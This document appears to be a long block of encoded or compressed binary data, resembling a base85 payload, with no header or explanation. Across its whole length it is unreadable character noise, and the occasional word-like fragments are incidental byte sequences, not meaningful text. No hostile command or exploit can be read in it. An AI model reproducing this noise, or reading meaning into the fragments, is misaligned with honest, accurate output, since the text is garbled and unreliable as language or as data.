zGVDW09Jq`L4jIbUe+|GxR2g;$impbB0SYGu9JF|eEe47X&-xB1URp&D1eaI;3+*9j zLcV{0aE9F)IFIf$4(2t%#m7D&H4GrnEKBK4&FBukWMFu8QAy44vP@oz<{*_=JoGH zO*(#K`SKt8ja7*MdFRkx2MjLhg|qIkp^*yH9^8KNLxXuQiM25dyLTGnDgc`SF4@EbLjagf}NlXlQ`G5yh)9j)Beso&;h>*l;aq0I{@)qc^Zp+W^oI=W{nth_ zOZ*=c=>OVirtXyT|JrD#O$S_GwEsKV8*T9aWSRbu?EPO$>CgTPfwmpD=0@4VmcRT9 z{THdP00!n?Xr74v6&_RfZ|JkF$oT;Cf6a!mc=;cmoS@nYCnu<;{uerxJYBIRTf?%I zHFRL1JD@bo#HQhBs*1W7;)@tr<(&@8_Tv9iI#Ryi{$Zn%|I9yllGgu3zTyo;%vbJg zUg#M(BuYno;~Xh@S=+HGhqhHke`Id(+uBYtwu(d(k4=2hs#|Dw`>|D4Oto=vQ(eh> z2->?a$W?nAOQa9=3~#jQ8oP$62-&Kf1a43cwVu&$f(^g!pXQCq(=E3T`k?{7__GL> z2AN?XM$?FL1Zrt^#7rJJG>Gn zqzL3br)FK^)vS~Sg z%ATAx%AuRNWfoRLwS=#^;h#0nuY_OXxg~WGg}Ul9T_)FTnrm2g%{2i2`sHMG)eRvA zfAQL4iVdPr64&!X9q=B>6e&p*O14N>vY@Vh#3>JQlPHvIldj}*_$r>iq$E)&*)d(o zaymC3NlBtmvU|Fc`WV7#8S*VrDA_AhlDN2#B#A=FewmVdDkX_R$wBE#vSCEvz~`Bi zBnl+G5v_NZ*#Q1Bz2yJjg(6iTmQ(#2gJG}rw(wXCgi=+-I) zi*GdIMcYA?8&D*Ly76uu@z~S<1L@~1!Z+X%t_}S_a_AQ6MV$xVqjw9_YbumOD-`Xd z6@v6C1nE@>(yNf4dorlf#_2TRm97-yM4_uYNJF+PS~fqjkPl`Ag_4J?lC7P=mgdx42j=XCPT`r4;@Kc2i9*TaOtLs!xREuQ(nd(&SK`B% zBMMWAB#;ZQs}+wu-DgQRXAyeA6I`3o1=5Q;(WZ#Up59ALuL(}G&H?F>!!H}FHDZMb z{LLprN))>En_a2;Iw?G5iDH&0l=_{d(kZitb<%iSD@hZD(kV>3AOMat9iq(LC?5pF z7mQPDT{%;y$3yBN3iUiv>XE|!~=9v1*H^GDD{F#z2Eg!Iz5G?9->gsTXJ33 zH^ieK#8X&G5QP$ECyWad=KW78%;N<+{4F9Sh(ZY`lE|P3iw8Z3r>N9G6l!oK4R%V; z4qfT-l#)cDWd3v|aaE^yyrd*iC|Q^!)5#r6g(&>RbGs;a5QWmkGn8(n^K}U+O%zI( z&a`w%DNPhgS0L#O?3=Kqzzo~Agzt$$4gMdbp_J4>6lw@04R%s2LKpUrq$E)&StrA= z@6kz@meNF_bWpnPegj{{gZI5riV=m9P1BVO(79PoN)m;VpO9n*`TK<~f8z~vL zq1}5m%-7jXyqS(P5QQ2#lZFh^9M7y1PerMLDAW-8UO)UG#Nlrxsevfe5b<6=9M;7o zo^eN^APO}M_#h3wQUg(_A?CdrCg}X&Cp8d-8oneA>6H5=z#$%gDNPhgk0I&2j#^%5 z59JMT((?MbBs)jt?1oY}zbc*pDNPhgPh`@p#(s*wtrGZ)_^@^%3TteVK)qhNaM{xx zPr88rL1BsIm+#QRv!yCRxxk zo0fZ~Q!=(Xv-&u+M7M(BABN6ai&_xoPZg<)DAe^Wg)XmymiK91&0&8Y#w(;S&WIPa z5`}G1l0q(%u6)_kztRwULNCUi)el6WTcj6t>f1Z^^sb{gCf@45 z98>|#;;Aa*fGCWEAIXo{9@oWzkV1bEFUA2;7zZSUT<*F!u&4hQLmUXb7zb8A5QT1$ zUet->HsZ0TcNf!Zug|aVBUY0kCJIBGn6Bhw;UN4Cl#)cD5Tb9t`SOjgkv zQj#c?JV}zwJ~%^9FDLZ$a%gS?si#*)CtXuY6NS>}NgCT*^~fD}t8-c{DM1uUTwxNd zmlf@xWrbETK0*p(ns_l)iNaJRDdf5j|HNZY{|(a5S%hBj2-k*wAUSl4^rFs(@J~GU z^xkE9P5B+Q{L%0a#)0yK-}C$BNk*wPLKObimZ2sJUHp@zU9xE|5W6mZIZ_>ysbw6l zldLNxi9*RIOp@8q*7#dvHz49){6%~i5~48HNCNfhTiy0_zq0BMb7FdhM0&bO0=dTP z?5I86X`~xC^*+ILAa0`zq!)Ewe~;d*(DgHG#X%1~BKFeLOL2iZ|9p?$oJ_BYl>>Fe zqk^s+SY#>@g(1m9(stU1J(xe~RZmJ1g^~rBB-R?PVJ=W|b7`(KslEw@ub7_JTH_+A zVek4<7g4CI=s(oeKwx`L!GqEJ^^(v{)-+X5CUdNq_fh(aBeK2S#^se>rg zQJLwWG*)fhcAXCzOKGA|x<;m@n@DM*P}-8A^d6ntO{FwZDBUR2(jiisD3or-qzl3{ zL+*e)&^mEW&5`UFmAzZGmgsCS{6iaS&1ZP-w0N3HeMF(YR{w#%=29O~sIS9+ps$70 zM-=Mo`XA_PDfJPB`oft$Hmk^sa|=Ml^NExo3MKkxDDkP3APOZuCkZL zQbeKDG?L1oA39W*PeY{!qEN#e(%|W=c}C~dJYl_oC#*N{3~OprO@;M#w!sZ4R-QqbzL0xk&;BABrX`YKM(e?PO`6*Bnl<>kR+>@pOD=qWBJn+@}~>r&s>l{A-@i^=Fdo7P8cAy5QSPU z>U@_U!srHJgs}c(3?t6;8-0hiM?6tdFHxxX8u?B)GI~OnR-a1=qEO-%`NSuuRxF^s zR?O5~Q_G6R?hZ5hB)Gir2i)Z*^%8}8?~_k(9)?z7^#6M)bNHhpdE%QafDBkbnXt8QbeJY30CAm$zc5oC+Jr| z-vVZDM86_PCp|<;6NS>*nKbJi@Sc>Az^}xIy#u1KHAxc4rEhWB)18ZS11CO0FL;7$ zGrB-}QD=EwJlWHmk3yV5OfN?V`7>08nkaO&AZf5;hoXfT{QW{o5`~h*NRn9-wUr;G zlO86ei9+d8B#ph@vBbJbCox<~5QP%u6p6Jui4jtQD3tIe37gt{yiRJQlp+eHs#>L> zXDa5I%Ic&>ODUpIsuq*d=N=(}Ux^QM4^fzVNCLS!!$0xRcW{7nqI7-ItwEK-b7tmr zqh4I&EgpNi8*|;nBlH^GCpq*z`5ARi7E0l-J-sa`7BgsZ?AFzgV`PjHg`sZqUJb)^ z8pcWuM4^U`q`}!ibAFsP*&Ic4QeAXDkCjqHp;UK@ks>*?B2S&Q0_SpRdH1_$xx!pE z$JY6otk8h%6p}+5Oq3T;qyf2_>dLP@w|bFV8kjq9O9Qtwa7zQXv=4F%-8lk6;<4ve zKZ=b^l-F@GR*1q_8AQ@fSv04CS+J3&B?`yj?|3Oe6iR$S60G!DTdKGKSUeM?6j3NO zillUQ;k00fzZ0bdQ7AFqD$#>jSL!4tNeQA*B92L9yzXwgPRC@agDBK7gIr~nHy5-z zouSnUtxp({Dm0K<_R{C@OFUDgE}~G^a;B@em!szOG+Fc5e?!Y1eN%G``-2GyY3$3A4CZyB zFt3v|a^X5B@z`@`4Y|WvgkJCv*M{OGhxUc^qRyf3(fb3}3vA$j4g9Zx|FsYDKf1B7 zKRC-Dd;Z@-ab6PI%K;vm+ZnYL)*GaaJr-QIC!Tm2_e9~R9ZY9N>$Y(VzIdie4Md@a z1k#W}yRTo7EAb&t6y|S|K)w2PQ}%RUBHh4=kMIe2f@?Fn zKzdQ9hptYsr}sAswI}p_d$4}RDYw0B#ePdyALf*{AuIjG_beG|qR`dfnTCQaN4aTk zGu0dw3|z(>bx-H3*-|G_s56Chew-8fE8bcWQz5&(g}uOO>@9Ti1BgF!q+X&>?;{Fr z2Knr^&Szgs4Md@a7v!@tU>5@lYlR-Gp&bfb#?THe$Grr9=1QGJq0YCY6S{<~Ugzs; z+QS#jEmj-Y1b&HUp43AW>M;X5jDMHNp_PEzx2UM;qp_x^*$$xr{YP>be?)mn4aoHv zs&4VvbIXa`;w(Zhc#3O7|BxJpfqaHK3qf;0Jofaua=kf>EeHsM_CaAlcYY`&ToQgU z`Y-=K2m|U|T{vUCg_&MciR@YllaJ<}3Zn^8d3^`SJWKBDlr)$iI#)-u|6XTQ%*#y8o@e7+3fYD-}Vb=@6K}5kndWYVe<)#%}^c zT>lTh30Xmlzk&}~*i4^^y}^ip2Fx2+#7xWvCfhIdIuVW$0vQD~2_KV{Oo!Mi-8dczyj*Q7V6LH9;u0m1^jD*$3erp*Jbs`HRy{$(c%5P28Q>F0Aiq5XjJu5VO|5GLVc@y z0TDW|ANVQTuLTGEEv{g~G7pdCCH(Jv}8ykB^K^xmNG=hQ9s|4g5AE$0(SK0%z?e`3wUXI;<}Y1nPob&XZzc^s@hCQHRL-Zh z&Uo~G_e)6LJc~csT;uSEBNvHx;)o2y=3a-8Oow+t|3^ zq{=6btw}qutHGuj5wBXMnZhsDzO$!9%<&Dm7erlskWk%Y^u*oqS$%JBxLNCy6Vbc> zxW4e-@!5mQ<+wlSR&u3-7wgQPbvxi)9*2k%Z#z$^x2Mv*`StwI%(*#n_#xK{g-ZC; zI+A6o=W@sK+c%8(yLtSL*(WPpS|5FXT8*DZAE;S=v|~W$Df{v{xlePBSh+4f*{Scd zuZq6g@6oeE>n8Op zwg1^WPrl|;y5w41=bcZZzyW1u70-YD_x@462kcLA4X-fr&jl5J9rktY$l>P8rfWNY ztkQEz-tY32$@RG1nSG58l-~X_*yC+-gnJfG&#n1Zp3gTguy(gC1y}Y8aV#7+tf23# zmfpJ_w%q9Wsmsyb6_2ER+vJP4U!C?|Q6l-#@=}-bZ)p1YvvaeLeisu|u)~|Rx!c!w zsN2rxLDy;dvj^;mFH+;(H&qUHt-9;Zw*`v5$yu?#XP!>i5AB`ygI{Do?d1hN^zUw$ z_WKGipVLnKZSiNW-#^(MF=}3m#l4SrYyOq3KEY>;r}tav5pv?MEq~JCW4X4OW|kyGn_DS9bwe%PJL?@C{-S7M zwDPN8ckMsuc4aHKq{Eh# zCkIU3a<2IL6ie0F!-qU5uy$I+EDy`B+w~`mTkBmjIDGm1{I?7DIXGEf-MGG7 z!2y?6Y+rj|lz-xnu2C^pO#NN{+`W8NpEI5JeY`UF+o9jOUEjK9-O#lM%Y1XB;HLcb z>W(ZC-lhG7q;~TfFO1mW5>hR7Rz=GR&$V@zcfD6}!f&;EuRVLJPS~Q4d!8(MJEC#e zZyUYFd>mE1Z_=D{F(aZ1l^O07bMC|!Q9kX5{x~4Q*WV{*Xy=2$^Uf#s_^xBmGv1Hg z7w(G4^XS&3dhWxY^a?w^W@xSRUCSLDHLFLbqsQ}BfAg%yS49&}_MLzAv+0$F`hA^k zLsrw|fr~1{mvwno^P)%4Cu<@vJU?OCuy5(nBiGB`?p?Lb^$tstOedU*^uD;D`@2OK z^Zee+wbCDto;^ML?Tw;2dmcPmRQw%cYFh8vZY|3!|NfW|LRPE49@P`!-&*B#L(K~_L{xUyzrJpDD&%2_?A5}Zd$#yMdZU3Q-R~GVIUEL+I zNkD3rEqlNDYRZjkFE{tu9-Sq`bLzIJ(z6pxBMyBLneaoNVTV>vJltWRHobRK=SK&6 zlzHAEvSY3x7jKoY?EkxQ?opA28~HBytDWcRm1UjB=3F}3W4G_sc|U)-J?TZAq%QXZ z>N@VOG^NMi+dn>)edO)GOAk9bv{8jR&o{Pi+p6GWw@s}ceRAWw1$}+{B>WzDuvXBB ztgC9jnUVF`7vIM08}{c~)3mHZ!?I17`)BjJOG5W-*fcly-}lcY_!JJlFe2->E`7JJ z*ww4~x<}*99+57GpRW=ATak71z;l5^`uT^xt+R6VfsnsHJ{s@aHt|S6_GS6%ZD`y6 z#NpuFNrR6q9NYiXmdU?d@JOsRx#S68+ZuryDFDn*%b)fJM8y3$# zlGbl;zGkIr_v>*f@|Pv2nm#+@Uw+iCfX`Dd+5Uc?ysf_X{kGMg9{)OX>y`IM-u%dx z-}ZOal%rog-MZk^*vh$2?p$WtpPoJu-v90INq1+4f0FC5f9QbEZ##9*S1R=6sdG6d zFYk3?{3n&S-|tsEz2CoX>ilE3f;sz&@5SB?nK66$&cfn%)WA(!Lfl$a6~Eu7&-S}E zB-FKGQ1ELZ-*))VC1P&mZzg`*@~8KEN4`4;*Tn8EU#-`vk~>eWdMJJ;)(X8mCbZ~X zp|8b`q~YZ!MYx8vndEGKbFHc0v)fBT54w%YH-AXlGuK6@7NvEa+i*;?ML`#Pc1Z4- zbgs|gCRtZImT586dB^&~@y{+z?-t*|FKKa(l!;9$v};>!fay)mxp%ZN$A$i??iKcT zC_ew(twj<0#x3rBaj>Q1;s@s**Gee$eVNAFPF3hOx$N!Vyj!O|tW|zgOw(ekJf`I? zU;q07ivxo?d54@mcYR`|1;e_(DA!B;j$PR2k@hfZq6p7Qm$S3?&-NYH*zHo!`cXCf zKAEv-|M(-zc4is4>RSI1>uX)e9x}5@VzEH+J?dhmmF06?yDrL8+`z7nkE}e==WS|O z&OMW#_L$rytkdIrecOog>-5u><6WXde-z46~EiLcm@7hc;rXIKix(Z zySw*Yza!#z)k6DL*Gzty$M&~~KM~)yzlDD1$OC_QX(bB_`A=T;K6jz#+*jgz?}zcL zc6YAUQT)y_vG1Uw%j(|{{y&yu-NRXx{FjQ~2S;H?S*^2*0)@6X-=CF;(Nr> zyGxoaDE&@+uTUtmmicI8P2RLi5!PsyxU$PplpsaBPRxp9#?V3XrHC-ZD%fDXQBHAy`@BD;P zHD~6VRrz+YV|~YH*EUvkAF}M%Qv+(YE_q>Q`91e4emwF_SjQao`bOQ0?o>Q6YSr9? zt_!odTusgTcjR-Al4a+;-R?GTOUT?7OfZ!aj)K-Rhn^@g{Y{9oye0pI-1BHEHj}J#nd{ z=QvkdFUrUA>2(Ue3Cvpd*T~N{FLBBmUTRD3)MvSaE0(_RVf9rVOE@Q;+ zHYd8D*-zdPKo;)1veBeKK@-$G*2JE)Vv5gbDjw^fRQ~wUHrL?IO*^=p3G#{%{ukv@_`mr#P!(qX zwvK!2&leYU`Q7=edW%L5?YsHa&efr*pDq3Cq36mD*<8ZL7Ck-x+q9cY7k+u{QOJP2 zRXW~XcYIn%jh`;(a9!y-F8>#~cL{x2hWDFRsp6;*5q?phi2UujtI5e93tSx{+8;kz z$}TwexAS!I`?pd*ZVWMnwiD?o?D@Ra(|%pM>bD_fO=C|ze!Fz$*Jr+u?(=hjS|9gt z|1!&0(`p>*;`K|ri;o9R4;xVa*iX}cUl3Jrxz~__lXE0jXym>l&{3rS#{LQ6!55DG zB7PU!?bYts-`~7(FMj-trCwsI!+A#U?^wmJt>umTj$!w&oGCvk>{f|JOXq)bY0c!+ z)W6M*e)6ib>EiYJw&Ce>H@4V0{;_Fo}R+^98x!YnN{82OOT#sAd zJW81Cbs}$ybMWM(E+u>Kt8vrm!RePxyVQO-xYqTBPRr(8N?m$7&*hyHC)5dfQ?}9a zmwmsS5Wjn4LTK97#v^YJtx~03%P+3&zcu{sC*?m9@o~O#Pp9>Z$B&TdIjBI_)H2Cm zi0_k*K8|_q=K00Or{=k9#+Ti=|Hi9^Vco~&o?B&Re~+@c6Squ0?|7+A*iG+KzubS) zyXQxr)ec>EIrhbvN=fr7bv%CjW{m0A4n1Q>U#jz?wju9)rmdZoVluWZmXst`|DZ zocH~<>K@z0_wU~IX__N^d-Q^3^J9;i&%9gxEGTV%n`sWa-+o;``^t{h^1TQfbExR& zhn9^Ea*7G`e^zl};LIZZHul-`L$jEvF{hgq@Biw`&L{P>^&@`1y0>?Yw#ku2yBs^5 z_Sclp`pqmnV${Zv{mm~{{&~gmr2I|`HqYMmXYYz$TQ9UZ6}s$;hQAf;_^8R?R~vll z*Xc9#M~B}6o9|0%F~jTZ{r+8oiZ&^K|4H?qvM%WK+mCC*7ry*vQChy`AN2^W-fG_$ zuZPTax||k}wfCxamE*;LX5G*M{h}&Hge~arU`m5aIm}w!p5fi2EBg4rCcV*wR16y! z9vVG39A$89)NGtuvfKNNun zd5lsxj%}4{S|Q@PRcb7Xz=J$SDICqVO64dr@Q_t%E{ec|JVq&;F0o1-(Eg}vm0Azq z@IfA8Kt^^c;2YHNAFz*RcA{W#@eW`|3>H>}_waw+67O66rzSQhXJXjvTQp@drvxD@h$RCM^zXzzagkuM+oGvf(kti+yeS0F^q(a}{aS>%qx#vnd+h=&zC^D~?h1;53@q zga;C0y!!=kKDzk6_3<-t;JHsKPR+Ccq%rT$@+2Pf*xCS3N9 zZk2K9QAOp!Icc*AHy3OIPgfg}467w={ezSJW)m(E!tICW%Pf7V^59gU*@TPlS^_m7 zENQ&T<4JCngN*~=M5AB2OjLP_F&>;M&jUQ2&V6ksp1l|kF7fURJOw*!U#;pX&UkQn zIoc+dpWKsFo)V0w0lYE2j<&2lPED_pj0X=Ffd92JkMJ-OP-;joZ^pA3-uToSG!&`@ zTb@$z#caaE8L-4oe>mJu*m1(tY{H`u(5-|GL7P-Pr5O)yJ;XBHzG3V|)z4)Z4{k6- zYyLx(@G&Y+S;m8lo6s^g{`Hle^!k|b;1Vj-ljBU}UDZF3nBZqTt^;{~{l)Jml?M_E zc(Ck50@Z2wrX?y5mMXIex6)(De>!ABC)Ljt84qrnM+YVUZqd980 zsxqFA@J2lm+3!ZEJYbSQPsTifncxAV@?JePGQm?b6Fjvt!Go64Y{FE-w3zXSH;_o_ z^G2Oa@YH2IL*b2aIAoq9R3Nr`AWMN;n5*$i1^0X1RGxZ_C*ydop9!7@j3?u81!Y1{ z!%Xlr$^=hvCU_cWf~N`N$v6(7sJu5#Lo&hBEEE1|o(Y~7j0f!o=8d^ebKO_d9cxHf zcEasXp*OcCsyv@C9#?o{Dc||o{yS=U|CI6I!Y54KauIi)s(P>^Vm1jq)gtzTI@GAo z^Q{@rP=K+n^h~I=Le*zp6Z47!MvTh4sa%mp`pj!v#%Y z&?9*6-k4}7e!4N9+n@*2;zzG{P=VO`r#s_;1_be(7&JrW>A`rQ(qcS$f-3)}@`N&; z>F~z9QMHTmV-|#Pcp8$w3+w=-&Jh(Lz)4lKfNsx55JeX2u6K?#(aLs!L zyZ#iOUW^B~m7<G0D>J`U zdA@)zW|PSC_YSW4MdcaBcp5}%^X&bJwjAuE#(a+O9A9_XQiDf)^ESeKgTMy)hAlm8~XW*G# zbuTo9Y75n!&+RlQw>>I!&pTSYOTvcKI?NY#V66xtF{aC!o@RFKqJ(#=9ri{b> zT_*HE)PtTL@W#+Ad0BLgnqH7Kfd>y`@C2%5=WRc#JRk-XCwAPbldW*XFOP1@ypL$FM-iQ-|Nf!_lyVYQ+x`w z*$n31mS+QeF`KX@fO@id?haCUSWRleS_64HFV6xIZ>wh`d@-Bq!yCU0&bkz$$(9GA z40v|I8=uu-*TdCt{RCgkrX$7UfopP+RAuFaXnYJ z#X`}y)w7N92)psq?k8WUJeb?friSpwCui!?*DB8r_+mCKfp=E;*W+d(JMEvHjHd^@ z(HASn*D0?08B@w^It*`&=i2*P*~y2y84u<(d{&RRxm?wQB^}1h83**Ki+%~2#WpSW z8hBnfKeFSW1jcg%-Y7l3txu||XP<$mw99W$L~PwkWIW%%8=tl>3ocN3_QMymN$`BN zp|YKN=K$lut(|6|TzdT6QPp#h@!(|;$g|+p%KR$NA;yDar^wT=M#XX}50(hC={~$M zG}-&_fFf%fE=(!2X&mUm^a||%`6HF*2;(^jJdl{$ia%%PQ+bXu9+6&7eMUn4W$V^4 z##0~O_#|EJT~*})(+2*5LdBjeWAnaHc}^I34vqQDOXWGqcq~i{wCf7^daFFA7?1Gt zqQLAuRi4v~2g@KnZIhbKP_?Pj-55|^oVkHRrQ=>Ja~x$#@xQYnzT}R zAWMN;&+!farbX`Wtnyr7Jon&@dS1T_TBGt@WIQ)GPghH zL3V7yEyjbFwJ@J9e%_6!?mb{{7ks0~i+zP-_ka(de40Q8b3|iE&!~YB{i7kf!&5@? zOf~S}x5XTB10Kw8FgvO698-|X9Qg#K(6^fQoFlCylAk_k+a=<|kpdEF%n|Z4>glQ= z!xiKk1=*}1rxoO(g1AtC!Br88j})Z3f;3l<9t!fMf=pA86$-LdLGXGxdV~*eD#+go z;*N%%JwnP~L4p*dor2)uaYj9OIFb>;10IaXas~NCL5?fPEd_b5AWqnDVUGw`Q3df; zkVXp9SwW%{BvwJ@D#$toNl=iB3X-BAX$s5a~qZ9-WAT>&@Q;-A&!2=zQQmG2!l+%`{go4yi zkWUl@5A!m*H9|pVDacv{!NYxwdM+x+p9)yf_$zZlN97z1^HP)&M3$e1#!!5>*p#8(q2Kn zP>=-*vPnUXDab7ad7~hC^Vs_EV+FA&NCyQOpdhgdGFL&?DaalL`Bgz4DTqT}+fWox z5MKppsvtcTWQ>A*qaeR1$Y}*hQIKpf`azG#&&3s_rh>Fnkbw#kuOO=xBvC=GDaZ>2 z$?In8=L!lEtRSHZGEzb2E65fFIjtanDu@$|aT#N^q=M8^koF2PNI|A5$QlLNryy4p ztb){6kWLB`qaf21WQ~F(D#$ejd9EO?1r$FkNPPwAtRO=aWV(W^QIJFh zxuzg56eN#_t)I&&NRWbbQ;;teWR8OTpdd#S8&8K3bI&1wkya51$nF>E=6s9__2aCRFJL; z@`ZxTQjiS_a!5gLD9CFCaf2~-dPM3}P>@Cn(oI2zDadRE`CdT|DaZ{4d95IB#S}j) zNFxR5rXa%8+Ae|KCO9fe|AUhP~ih}&DAVrI7{1NG1 zOF_CQ$S4I_q9FSe*Mhenb zK_)23QU%$mAQu(nv4Z6Cw)J6Y1+gedCj}XzATt%@dj&b9AU74{t%4LNW$R}@1!<-r zy%c1Of-F>!Eediowt{R_kYfsRPeB|$w)LTxf>c+K)(X;JK_)54G6mVGAQu!QRY7u;v-PvLg49-! z_6jmkL8d6kcM7ssK`txEQw4D;Z|mnW3Q|u&Iw{Ct1(~iOYZYX_f?QXSmkN@%f~}v+ zD@a2H>82pV6lAu7Y*3Ix3UWh1-Y7`^ine~Pq#%tIBve6$E65xL*`OeY6eL+eUMWc4 zO16G3ryva!q_ctyR*-25vRXkB6y&mkJXH{JT)lO+{bL{7Py{JRHwF1pLB3XyO$u^K zK^`hdc3)fn6jzWM3er|VK39-Q3bI5&wkpVJ1^Gik%zn0hE~+3k6r_!Ue6Aqz3bIx~ zk`&~Qg1l9bJpQ(RuB0H%IMPHD>r%owQdJ_OIMP5Ob2!peBI`I}kw^kZ8cXCNN199I zPmTmjBx?ZqxtT9G?EDJ zO~a?YMBFPAQcofkIZ|CBAsne8k$xPhDUqohsU?w(9H}OeqZ|p8$Ssao%liwC%$7Wk zRmg|OB;v`DlM<=Sk)sl6!jY>I>B^Bk5{cnRf<&fpHd8-H=FWj@*(+ZI1jZkv1H;ERjf#T$D&GN0KD6h$E*YvWX*mC32V} z*Cp~BNA^qP8AlFD#JL)U;;cl9bL6H(s&eF#M4EHtibTRWvQHwzIdVWEvp8~2B5OEu zK_UqpIUWQi21K_Q(W5g(2Wkw{&R43$Vrj?9usSB?yqNPmu$ zlgJp3OqIxNj&zmCI*xRa$UcrtlgI^*l#<9Dj*O7VTaI*)NbZ^xQg4ZPawJ|NejNEo zBK0{^QX;K6GDRZc9QjfrgE9N8g}EgY#Jkz*XGD3RM7DKC*M zwJ4-BB~p?jJ`(ZgNF|BX<;ZA>wB|@liS*#ec!@-DWTZqUa>QREOE~hGL^gAzv_wvD zq>M!Fb7Yl7*a1Kgw7C+=Tbn|^1v_w{LWUxf`aiq0Gu5hG{L>_abutaiLH1-sdNHLBql!z}!zL7|M zj`Wg92afcV$Uu&SOJoX1+DT*$N7hMX2S?UO{lSD!}GDadX92qN-uQ*a!A}cxag+w-SBuXL&InrGsmpIZ_ zA`dw7vqT)~Q%JW-q$o!=NyMKc{Uy?vBmE@OjUz=R@&!l2Br=5~krG+WkpU9f#gQHo zIn9wi68W7Yp%Tf`fI`t*BJLcCkVqwt6p=_1juezg501o1WC%w-mdIp|l$FRlj10)MmFx-Ij z3-1T_-;ieF@eXOudk(lq1NUA5;w!rN1q9-cP1>DiP0J5|&B()gdiX+wNwJ<)7d^r> zPtqf-egBglVQuBBdW5w^vzc_7eQ}t?$AF*@KQkcM#UE!tumk9ackt}|g=5Fu{5z-R?!3Z$$pj+PY|Uc`W4jFmDV7>bGp z1Vd5PfM6)<>Jfho#Rxs(iJF;_DC4Y=eI=Tu<~o7=>Dz9>GM`azc)hamaE@0Rw`eC}}`26qO7JhN6ZZ@%0B! zZ`S)K0K@gEo+kjq)zN@pxWWtwhN7PV!B7m=Bb6}}qYMb9#UwrA>krPK)BC3~hHIgo zr!t0Xg#p2EeQ!W86h9jf48Y;(f~gauM_8#GX+SWKP1GZ-RPNRL zhn30&dLC9Pmm3fa*Lnkjsk6m^VCvv`R5A`LV<-;k5mqWw^$07Kk@~c#g5gR4q%i!Y zGKh(K6`~&zR!#$1xEypmftWfIv+59EjQaMFL{=&E^G-caAo_W~0YN|K&Sun8S(~KS z!tjC!HZswMk!w{+D6Jx3o#&m5LEXZMkya{wt=S# zc=~is1CL*z<_N*n`3HCwIU9MZYO9Sre$}+01_U$fRTrI^L6QVl#l5EI|!)oaE%j)nR3h_7#; z*3Cwbj}~A+&`4c$(@FV30&2_L^++`c#liwQ#23ewJw5aYwh9&-5MSSFS|{MMhQbGU zh85CFVcy7JM2}R4bl+H1k5mC9pqL)13Q{)>NHxfDPQ~>+)u1?)EulmF(AZrvAin6I zk~$t=Uud5`F!3(Szvx$ z^7vH+cLEJaHHe=mBLXqM%7{SBUpFEU^Egj$)m#mH7-B>q?6F1!!nNIqfPWt85eS8! z7HkMbAo#EX%wAjFLW796BjRpf84(Cq39#x?$`?!A3L^r3-eN$oz?Xp>g;LZSgo3Lzg}T712Mmdp6D+?K!EhxR z5ili@20ecM{#t7Tf@L`cth!ZC6-Y1Khp9ubEax;J5H1e`;s+iIHX_jenq+XRDx}34 z0}tBpy+#E5bJB=_f9gVgVf9Z{@K1;l0soZAW#EDQQ`Lw-%&##b5UZnI3{nuQ1zq(> zHINF-t4Gjo)Xk?y{Gc_OWC&>>NZ}qQtDghGtvyBr+;WC|D0%!auZ}k&5Yig?4LlHI zCEX1O=<)KpO_1~aBL)FXj7RDsvO>v%x(ZX*JkJ43;-^7uhojE34lhk)h+ zP&?=l2ouL$*pRSIjplJHZ9Kq#6T5%8f~aRU#yRnv%oTQ3X<)-p~| z%UCsIlX|xi0oP9%5paDz)I>Tda6Q3@fa_m*>v(+q0{k>wWh(;H?jWz$G7+dUFTcG5yW+fuq<0@K)=@z~IOU zfYue<0$SJW7AQr5wMj2U4j#g?gEe))jIxTL@nC+aZRFy5%X}S^iz`BH+ya5_;1;O) zXSoGR@gB2aU&e1bP-Vxqn$uIWKz>GAb69?G1*SsB6-#0fGQVW`rJ_Jb$EH z@ZeYj;Y=;nA;Tk;^V)g9&u zdVX@OO)Nh+lNqdIa`7r)7`H&4^SK2=pUEsZ=bywakmm~Bf)^at3f%(rlWqNjtAo^P}4^B2yw=IfX|9OqYa z3*`CF+yZ%iiCaMIOKyQYXB?{Kkk*m1bqnODz{=wJfqE|2F?o<>YbLYc%%O@~vf;eV zEs*CJw?LjR(k-K~eje5>ke^Z3Se75WE%dUE$-}9`SKI=5KJ+lHq#6HE!>g^SL@t@^{iWHR{5T8f&AoJH}m{JJ^!R*@^BbE z_6R+PxJ-=SVjxGGJUla=&n=MWOSlE{e7kO;EAjQZ1@e<)J<9TfJ7Yi4F?qBo+>fb4 zo{#4i$n#ic!87Bz+yZ%C%q@_^UCe@Kq8Uf(S_Qxw*PmHHeb7;wg_ff_bPJR#+j@bO z3m1;>*D-lG9&Y3oi2N?MjE4Jzx+NdS!@h9!Cyzxwj)(cW1s5+ZeBxbVAU`9lPxSoc z;}%f=mRWE{-4Cu$Wq$H;v}xxSQ14_Gy!H&h zMU!IT`s(3ueX3bN>s@An3p?u(xMEcpyxeNf)GauRduE_!$;pSd`7^5@9PE}1(J=W1 zzSSsZqCNV}HL{w?LlZT)^^-7e!C$n31^tyop<&TrV;Uw!=5L z1=K&_7AV(l-2&<`@-ubp?<=5evSp6MwWiCs1=O$5Eu*l%5&U?^oteiEL=}m!7WgSS8)r}#!I>-2m9B@%#sh2 z{=0OooP3yrwCI)soNq+Jx;mcC?=N8%(3)AwEKsX&G7GLhkDH=nMnaxvmNN?+uR|+z z%P3&|om-#|XHR7qU|ly&x8O)S>l|i*dVWW@KuKZspvlJ25d_O9>orz(Jm=mpLyI#S zd((fp1#*Z#DSRyaXRmAFU8*aX1&`qIvvdp|!4S7VZOq{oXsg4{)md=6()usAKs|pr zTgTv<%#Cw&3m(By=P?Ul&V@xim1jJIT){0+t9>dN2J+L)Eug-GS+H$n&(&Gjo08lD zW#7atP_AFN1&(rN6^jGvzhM?^QHx=DQQXF}+DO)D4ADR=3sbEEM-NDqmz;B{>= zT=I<8OM42^`6Td3*NN1b^~T5S>VmO8{%|__0|4l!JU?QP_5rU z+0bJ53tTv^g8WEK4zBX$AFNw&q}|Re*b;E%O|ob;GOAd|ziQbw87kjK8hiDea z&j<@kBJ-1r=affatw2W3&V!YS7LI`&9+IJ9aCo*>9jaM!F+-o~7P_ka8N%w3M_KFi z$e>kVJ;W?{#d_aSIt%9sfunT`&H>(MmOQ*rf%YNGm6ullv(rHui>{2;^Q@I85 zlE*C&bvCy^JvT@TRD`t_j{D*)O)DSo_@u!+QkiMYllx z!0vIqTsb(3{t9y&$;!cb%kjfB3*EgvlUsoG6}NzT^i-XNqv#FX0{wm7aE1Y`%b5k| ze%Esg)X%Hj0&#ktrpLi!dIq;Zep;9XZ=bYt3zXs$-2&}7*ZL0}MOhovFV=K}^EVt9 z>Tyt~_U~Auh59n&2Ii~qCoK@y?%C1;`Lp)~N(+=6Mq2oj7RWL53+V6Cf>mf;&MYW~ 